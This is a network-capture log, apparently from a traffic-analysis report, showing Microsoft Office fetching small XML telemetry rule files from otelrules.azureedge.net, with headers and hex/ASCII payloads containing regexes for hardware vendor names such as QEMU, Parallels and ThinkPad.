2024-11-07 16:25:24 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:24 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: d55876ee-301e-0099-5603-2d6683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162524Z-16547b76f7fwvr5dhC1DFW2c94000000085g00000000te96 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:24 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.6	49790	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:24 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:24 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:24 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: fa46a579-901e-0016-6a5f-2eefe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162524Z-15869dbbcc6xcpf8hC1DFWxtx000000009bg0000000088hf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:24 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.6	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:25 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:25 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:25 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 2fadba2e-601e-0070-7603-2fa0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162525Z-17df447cdb5w28bthC1DFWgb64000000048000000000s2rh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:25 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.6	49797	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:25 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:25 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:25 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 6dc34679-101e-0034-7d01-2d96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162525Z-16547b76f7fp6mhthC1DFWrggn00000008kg000000002n6k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:25 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.6	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:25 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:25 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:25 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: fdad5187-a01e-001e-6d5f-2e49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162525Z-17df447cdb528ltlhC1DFWnt1c00000004ag00000000rwrm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:25 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.6	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:25 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:25 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:25 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 2f2a95d3-901e-00ac-5b08-2cb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162525Z-16547b76f7f22sh5hC1DFWyb4w000000087g00000000mbma x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:25 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.6	49800	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:25 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:25 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:25 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: a822020c-901e-005b-1ae1-2e2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162525Z-17df447cdb5lrwcchC1DFWphes00000004mg00000000dhys x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:25 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.6	49802	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:26 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:26 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:26 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 86fb44b9-501e-0078-06d2-2c06cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162526Z-16547b76f7f4k79zhC1DFWu9y000000008dg00000000d86q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:26 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.6	49803	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:26 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:26 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:26 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 4b06b021-701e-000d-6755-2e6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162526Z-17df447cdb54ntx4hC1DFW2k4000000004g000000000nst8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:26 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.6	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:26 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:26 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:26 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 43524bb3-601e-003e-69d2-2c3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162526Z-16547b76f7frbg6bhC1DFWr54000000008a000000000c2h8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:26 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.6	49804	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:26 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:26 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:26 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 540c9187-b01e-0084-6537-2fd736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162526Z-15869dbbcc6xcpf8hC1DFWxtx000000009d00000000068ud x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:26 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.6	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:26 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:26 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:26 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 44d502e9-701e-000d-5c08-2c6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162526Z-16547b76f7f76p6chC1DFWctqw00000008fg00000000dnhf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:26 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.6	49801	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
